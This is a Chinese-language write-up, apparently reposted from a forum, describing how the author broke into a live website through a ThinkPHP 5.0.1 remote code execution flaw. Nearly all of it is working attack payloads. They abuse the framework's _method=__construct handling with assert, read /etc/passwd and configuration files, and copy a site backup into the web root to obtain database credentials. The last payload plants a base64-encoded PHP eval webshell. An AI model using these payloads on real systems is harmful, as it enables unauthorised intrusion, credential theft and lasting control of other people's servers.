判斷是否存在漏洞
http://wwww.com/public s=phpinfo()&_method=__construct&filter=assert _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo _method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1 http:/xxxx.com/?s=index/index/index s=ipconfig&_mehthod=__construct$method=&filter[]=system
上面是經過在論壇上面查來查去整理出來的thinkphp5.0.1的一個洞
我遇到的目標站是
thinkphp5.0.1
php5.6.31
linux主機
其中被禁用的函數有以下這些
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen
那么目前來說只有一個assert的函數可以供我們使用
那我們的思路就很簡單
1:如何寫進去shell
2:想辦法讀取config文件直接獲取mysql密碼
include函數,可以根據此函數查看一些文件及其配置
s=include("/etc/passwd")&_method=__construct&filter=assert
讀取文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
s=include("../application/.htaccess")&_method=__construct&filter=assert //ps:如果不加.. 請加上完整路徑
在讀取出來文件之后,由於一些關鍵目錄受到了管理員的更改,所以為了讀取出來文件夾目錄,我們用到了var_dump函數
var_dump函數,可以查看該路徑下的文件,文件夾
s=var_dump(scandir('../application/'))&_method=__construct&filter=assert
通過報錯得知網站的目錄是
/data/wwwroot/public/
意外發現在/data/目錄下有網站備份文件
復制文件
s=copy("/data/ws.tar", "/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert
直接通過web下載下來,本地尋找config文件,連接進mysql
接下來是寫入shell,我在網上 論壇里各種地方試了各種大佬發的poc都失敗了。這里提供一個針對5.0.1版本研究出來的寫入命令
file_put_contents函數,可以直接寫入文件
s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
轉自tools